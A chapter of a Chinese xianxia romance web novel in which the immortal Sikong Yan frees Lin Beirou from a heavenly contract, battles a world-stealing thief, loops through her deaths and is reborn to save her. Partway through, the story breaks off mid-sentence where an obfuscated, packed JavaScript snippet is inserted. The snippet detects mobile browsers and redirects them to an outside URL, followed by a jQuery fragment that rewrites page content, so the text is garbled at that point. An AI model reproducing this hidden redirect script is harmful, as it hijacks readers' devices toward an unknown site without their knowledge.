被这样一具已锻造成神明的身体压在身上,林北柔脑海空白,血液在耳膜嗡鸣,晕晕乎乎的。 算了,她心想,时间不多了,就算她会堕入地狱,她也要先沉浸在这个快乐的梦里,笑着堕入地狱。 司空晏把脸埋进她肩窝,深深蹭着,呼吸着她的气息,眼帘半阖,瞳孔里生长出雾凇银针般的裂絮。 林北柔脸色凝固:“……等等,我,你给我,……?” 怪异的感觉侵袭全身,她一刹那迟疑,快要错觉司空晏是想给她温柔一刀,彻底结果了她。 不过林北柔并没有愤怒和害怕,她出奇地平静,她甚至觉得,这样的结果很好。 死在司空晏怀里,不用再承担责任,不用再日夜恐惧流泪,是一种彻底的解脱。 她愿意死在祖宗怀里。 反正也不是第一次了。 但林北柔没有死。 怪异奇异的感觉难以形容,鲜明到让她难以忽视。 林北柔低声喘气,双手推开司空晏,愕然低头,司空晏修长手指呈指诀按在她心口,夹出从她心脏冒出的一缕金光。 林北柔不可置信看着司空晏的指尖金光,司空晏面无表情,一点一点将天道誓约拔了出来。 林北柔和甲方立的契约,像个虚弱挣扎的小生物,最后一点触角也离开了林北柔的心脏,啵的一声,离开了林北柔的元神和身体。 司空晏冰冰凉凉地提起嘴角,指尖燃起银白火焰,将金光吞没殆尽。 “好了,你归我了。”司空晏杀气腾腾地说。 遥远天边,一道浅紫乍然爆发,宛如一则不详预告。 95. 第 95 章 生活如常,过了两周,林北柔浑身轻松,没有不舒服的感觉,司空晏买了一套公寓,也不知道他哪里来的钱,物业费十分惊人,密度很小,能看见海,一看就是超级有钱人住的地方,他让林北柔搬过去跟他一起住,林北柔不想纠结,借口找了个新工作,就从家里搬出去了。 林北柔线下找了个很清闲的兼职工作,在博物馆当工作人员,虽然她生活日常开支全被司空晏包了,她还是得找点事做,线上她的助眠视频越来越受欢迎,虽然她真人的脸从未出镜过。 林北柔觉得生活仿佛被一线来自清晨的阳光照亮了,日子越来越有盼头,司空晏就像一个无所不在的安静的守护神,镇守着她。 “今天我们来抽一下塔罗牌,”林北柔对着摄像头录制助眠音频,为了真实,她都是玩真的,会在心里直接问问题,“……现在这张牌翻过来是,死神正位?” 林北柔心里僵了一下,声线依然保持柔和稳定:“嗯,是张大牌呢……来看下解析吧,旧模式的终结崩塌,代表结束,转变,和新生,所以不要担心,这并不是一张坏牌。” 她问的问题,是她和司空晏的未来。 说是这么说,林北柔心里还是有点打鼓。 她嘀咕了半天,心想塔罗是西玄,司空晏应该算东玄造物?那塔罗去预测这另外一个位面的祖宗,可能会出点小bug?要么就是塔罗牌直接形容了下司空晏,用死神形容这祖宗倒是恰如其分。 司空晏好像在进行什么大事,白天不见踪影,晚上回来,把睡得迷迷糊糊的林北柔揽进怀里,轻轻地亲一阵子,手指从她脑袋缓缓捋下到发梢,看林北柔更加舒服地钻进他怀里。 林北柔眼睛睁不开,发音也不张嘴:“你去哪了。” 司空晏绕玩她的发丝:“这里的灵脉禁区,很有意思。” 林北柔瞬间睁眼:“你跑去挑衅甲方干嘛?!” 天道契约被司空晏给拔了,她其实很心虚,不过这段时间甲方一直安静如鸡,验证了林北柔的猜测,司空晏比她想的更强悍,甲方也不愿意和他正面冲突。 司空晏眉眼间显出一缕轻柔的阴鸷:“怕那玩意干嘛,它不重要,在我之前,还有其他位面的人来过,那个老东西活得比我更久,具有方外神格,他对这个世界动了手脚,如果不解决他留下来的问题,这个世界几年后就会迎来末日浩劫。” 林北柔惊呆了,问了他很多问题,司空晏一边回答,一边想到了别的,他以神化形,只是暂时策略,除非他本体过来,否则他无法将林北柔带回胜身洲,至于林北柔家里人,修改对方记忆,也一并带回去好了,反正有家里人陪着,林北柔会更开心。 问题是他本体过不来,这里有一层无形的透明墙壁,笼罩着整个阎浮提世界,仿佛专门为了防他们这样的天外真仙,光滑又无隙,司空晏找遍了每一处,都没有发现可突破之处。 他不会让林北柔死在这个即将毁灭的世界。 既然墙壁暂时无法突破,司空晏去了灵脉禁区深处,见到了被林北柔元神带回来的太初灵核。 这是胜身洲的太初灵核,而这个世界本来的太初灵核,去了哪里? 看样子,是被人拿走了啊。 太初灵核和本方世界的万亿灵脉不能彻底兼容,长此以往,净化过程会出现微妙偏差,日积月累,有一天污染过载,就会招致末日天劫。 拿走阎浮提世界太初灵核的人,就是那个修造透明墙壁的人。 一个贼。 司空晏嘴角微微挂上冷笑,捋清了事情全部脉络。 林北柔只是刚巧生辰八字,元神脉络,灵魂累世前缘等等,符合了本方天道需求,她去胜身洲,是偶然,也是必然,在她之前,也一定有很多人前赴后继,去了不同位面。 那些人或许也带回过一些太初灵核,但都不符合要求,本方天道就把它们送回去了。 这一次,胜身洲的太初灵核没了,胜身洲会出事,司空晏已成唯一真仙,他必须把胜身洲的太初灵核带回去,那里有他和林北柔的全部过往和回忆,也会盛放他们的现在和将来。 林北柔不该被困守在这个樊笼一样的阎浮提世界,只要他想办法把林北柔和她家里人带回去,这个世界不管是野火肆虐还是洪水滔天,都与他无关。 人心堕落,就连这些凡人自己也不去拯救这个世界,关他一个天外之人什么事。 不过这些没必要让林北柔知道。 过了一年,司空晏终于找到了办法,炼化出了一件天阶法宝,可以让胜身洲灵核,和阎浮提被偷走的那枚灵核共振。 他要引那个神秘的贼现身。 司空晏不管走哪里都带着林北柔,不然他不放心,他摘下了胜身洲的太初灵核,林北柔就在旁边呼呼大睡。 本方天道,也就是甲方,沉默注视着这一切。 司空晏把太初灵核放进法宝时,它才幽幽说了一句晦涩难懂的话。 “没用,你之前也这样做过。” 法宝启动时,天地变色。 黑云像诞世之初,巨大到让人成为芥子,訇然中开,遥远彼方的世界受到撼动,改变了局中人的命运,贼终于按捺不住了。 司空晏神情如常,一身素衣,衣袂飘飘,眼看着对方披着看不清脸的黑色斗篷,缓缓自云中降落。 “你,太乙老祖?”对方低声就叫出了他的名号。 司空晏心平气静,懒得多说半个字:“把墙壁撤了,否则我捏碎你那边的太初灵核。” 他的手放在了法宝上,随时随地可以来一下。 对方抬起斗篷上方,露出一双奇异的异瞳,一只黑眼睛,一只蓝眼睛,黑眼睛枯井深渊一般,蓝眼睛里仿佛蕴藏无限星辰大海。 他其余露出来的皮肤,仿佛岩浆流过的土地。 对方古怪地笑了两声:“年轻人,别冲动。” 他是真身来到这里的,司空晏也动了手脚,逼得他只能真身现身。 交战规则是没有规则,司空晏和对方打到空间出现了不稳定,甲方不得不干预提醒。 司空晏分化出道心本相,一式心剑左右镜像,夹击对方,对方元神受了伤,司空晏将他拖入了自己的心剑幻境中。 当第一千次心剑斩刺对方元神,对方却依然活着时,司空晏收回了心剑。 “你把自己和那边的天道……同化了?”司空晏问。 对方点点头:“我要找一个人,那个人不在过去,不在现在,只在未来,我必须进入天道层级,才能看见她在哪里。” 司空晏全然不感兴趣:“你影响到我了,那你就去死,死不成,你就跟那边的天道一起死。” 只要毁灭那边的天道,对方也就死了,司空晏发动了他炼化出的逆天法宝,打破了对方位面的太初灵核,灵核出现破损,对方世界开始坠落,毁灭。 对方却一点不慌,生命倒计时前还盘膝坐下,吐纳调息。 司空晏眼看他以入定的姿势,化为尘埃,消失在原地。 搞定了。收工。 林北柔睡醒后,睁开眼回到了和司空晏的家,司空晏就在旁边盯着自己,她翻了个身,准确落入他怀里,像个树袋熊抱缠他的腰,继续睡。 “你一天要睡几个小时,”司空晏慢条斯理地说,指尖落在她耳垂上,要掐不掐的,“你是猪吗。” 林北柔:“嗯嗯嗯嗯(你才是猪)……”不知道为啥,最近她格外想睡觉。 话说司空晏带她去干嘛来着,好像是出门打了个架,然后就回来了? 今天她还要去博物馆兼职。 她工作的地方天花板是透明玻璃,水蓝水蓝的天清晰可见,阳光被切割成碎片。 林北柔负责录音讲解,和一些宣传视频的配音,她声音柔和舒缓,负责人听过demo后很满意,她通过了好几轮面试,拿到了这个工作机会。 经验丰富的录音师姐姐很欣赏她,交换了联系方式,说有机会引荐她往配音演员发展。 林北柔心情很好,感觉自己前途更灿烂了。 快到下班时间,林北柔收到司空晏的语音消息:“我来接你了。” 林北柔揉了下眼睛,回了个“困死了”的表情。 司空晏在停车场等她。 博物馆的停车场很空旷,他的车很低调,外形并不张扬,只觉得非常顺眼,但通体的蜡灰银和定制黑白车牌,一下子将这台私人座驾和其他普通车辆区分开来。 下午的天更是蓝得惊人,绵白的云缓移而过,投下凉爽阴影,树叶婆娑,阳光像蜂蜜。 司空晏侧靠在车前盖上,转身望着她,他没有剪头发,一头黑鬒鬒的长发被扎成了层次潦草的马尾,像个神箭手,或者长剑士,来自另一个遥远的古代,此人微凉眼神落在她脸上以后,才生出了温度。 林北柔脸颊都被他的目光灼得发烫,嘴角傻笑压不住。 她忍不住脚下生风,后脚跟像装了弹簧,轻快地朝司空晏跑了过去。 司空晏站直了身体,转正过来,像是在等她跑近了之后,张开手臂将她拥住。 林北柔蛰伏的困意突然汹涌,冰锥般凉凉的感觉顺脊椎而下,她恍惚看见司空晏瞳孔骤缩,里面游动的情绪一刹那凝固。 林北柔视野变暗,她没有经过任何思考过渡,意识直接被抽离。 她身体没有落在水泥地上,司空晏瞬移过来,像抱孩子一样接住了她。 林北柔双眼将合,望向蓝天,睫毛不眨,宛如草尖正要起飞的小灰蝶忽然被时间按下暂停键。 司空晏抱住她的手一点一点收紧,青筋绽出,骨节泛白,他脸色一开始空白,慢慢扭曲到地狱爬上来的恶鬼看了也避之不及。 林北柔元神破了,散成细碎光点,从七窍溢出,司空晏拢不住,光点游弋过他瞳孔,像流萤一样美丽,旋即消失。 司空晏撕裂虚空,瞬间出现在灵脉禁区,他抱着林北柔的身体,站在灵脉底河边,河对岸有个人影,他看不清的脸上,露出一个模糊的笑容。 世界黑屏了。 司空晏睁开眼,重新出现在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990369|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球某一处,时间节点被回溯到了他刚来的时候。 他疯狂的眼神突然降至极端冷静,眼珠慢慢从左边移动到右边,环视了一圈周围。 司空晏明白了一切。 假如时间是一条河流,司空晏站在岸边,那对方就站在比他更高一些的草坡上,他扔进河水的石子,溅起的水花比司空晏更大。 司空晏又试了很多次,他跳回了不同时间节点,越来越往前。 每一次,林北柔都死在了他怀里。 看着最珍重的人从生到死的过程,一遍又一遍,司空晏感觉内心有一角坏掉了,像很深的龋洞,里面散发出腐烂的味道。 自己骨子里坏掉,贪婪地汲取林北柔活着的每一分每一秒,就像攀援的藤蔓汲取大树的养料,怀着深拥的爱意,将大树绞杀而死。 林北柔死去后,他有那么一刹那,念头动摇。 不如把她做成神伶吧? 一个前所未有的神伶,这样她就能永远陪着他了,无所谓活还是死,她还是她,只是跳出三界之外,不具有活人的属性罢了。 不会主动笑,不会违抗他,跟他吵架,离家出走,会很安静,他想抱就能抱。 那样,他就不用做这些让人厌乏的无用功。 ……甚至,他也可以把这个神伶做成活的,会呼吸,有生老病死,这样拟真感更强? 司空晏扶着洗手池吐了半天,被自己这个念头恶心吐了。 他抬起头,看着镜子里湿淋淋的脸和头发,睫毛黑得像融化了的墨砚,瞳孔像没有填任何东西的归墟海眼。 他已经变得仙不仙,人不人,鬼不鬼了吗。 下一次回溯时,司空晏还是了选择放手,让林北柔化作光点消失在怀里,他心里舒服多了,脑子也突然清醒了很多,有种自虐到恋痛感大获满足的快意。 ……呵呵,差点着了那个老贼的道。 司空晏弹了弹衣服上不存在的灰尘,阴沉的眉眼浮出剧毒杀意。 就像一个卡在了BE结局的游戏,通关条件的底层源代码被篡改。 那个贼拥有更高的势能,来历更久,司空晏杀不了他,就只能用一个办法了。 贼说什么来着,他在找一个人? 司空晏嘴角挂起一缕仿佛来自噩梦深渊的恶劣微笑。 他最擅长的,就是找人了。 司空晏以神化形术法的蓝条烧完了,意识回到了胜身洲的本体中,缓缓睁开眼。 道心本相坐在他对面,像一面镜子,沉默不语。 司空晏没有看他,对着空气说话:“你怎么不劝我了?难道你也疯了?” 道心本相没有说话,手指沾水,在地上画了个符号。 寻人的符号,燃烧元神和三魂七魄,以真仙之力,深潜进阿赖耶识混沌大千世界,抓住对方的软肋。 只需要一丝半点影子,他就可以用星天神伶术,炮制出一个和对方所寻之人一模一样的活人。 他不会用这种办法去复活林北柔,为了一己之私,去弄脏和她有关的一切。 但他不介意去恶心下那个窃世天贼。 司空晏做到了。 他差一丁点就彻底葬送在了阿赖耶识之海,可能是多做了那么一丁点好事,微弱的运气让他赢了。 林北柔让他做的好事。 点点滴滴浮现于眼前,如星光朝露一样蒸发。 他找到了对方要找之人留下的一些本体残余,捏成了一个复制本体生前所有的活人。 至于本体在哪里,司空晏压根不在意,让那个贼找去吧。 “你做了什么?!”对方的本体居然出现了,表情晦暗到非人,盯着他,意欲择人而噬,“你找到我的人了?” 司空晏只露出个阴戚戚的笑。 陷阱,成了。 混沌之海从天上倒流而下,悬挂的瀑布水帘,火焰沿着接天水龙卷逆飞而上,风雷电接踵而至,金木冰霜齐发,这场面足以让胜身洲任何一个大能晕厥,没见过把真仙之力当大米撒的。 太乙老祖他老人家疯了,一身修为都不要了,这样下去,他岂止是燃烧真仙之力,他这是在燃烧属于真仙的无尽寿元、燃烧元神内核啊!严重者可是要经受天罚,连凡人都当不成,被投入恶道当鬼当畜生的! 司空晏设置的雾露乾坤网,罩住了对方,拖入了司空晏规划好的时间节点。 他们一起掉进了裂隙,通过混沌,落入了阎浮提凡间。 司空晏出生了,名为魏瑕,出生后失去了大部分记忆。 那个无名贼也出生了,成为了后来的三号。 林北柔在司空晏出生后数年,也降生在了这个世界。 司空晏的真仙之体,原本白玉无瑕,这一系列暴力操作,让真仙之体寸寸皴裂,像开片后的灵玉玉瓶,有了永久创痕,再也无法复原。 这是个不可逆的过程。 他唯一的目的就是让林北柔活下去。 他做到了。 “亲爱的,我也为你去过地狱了。”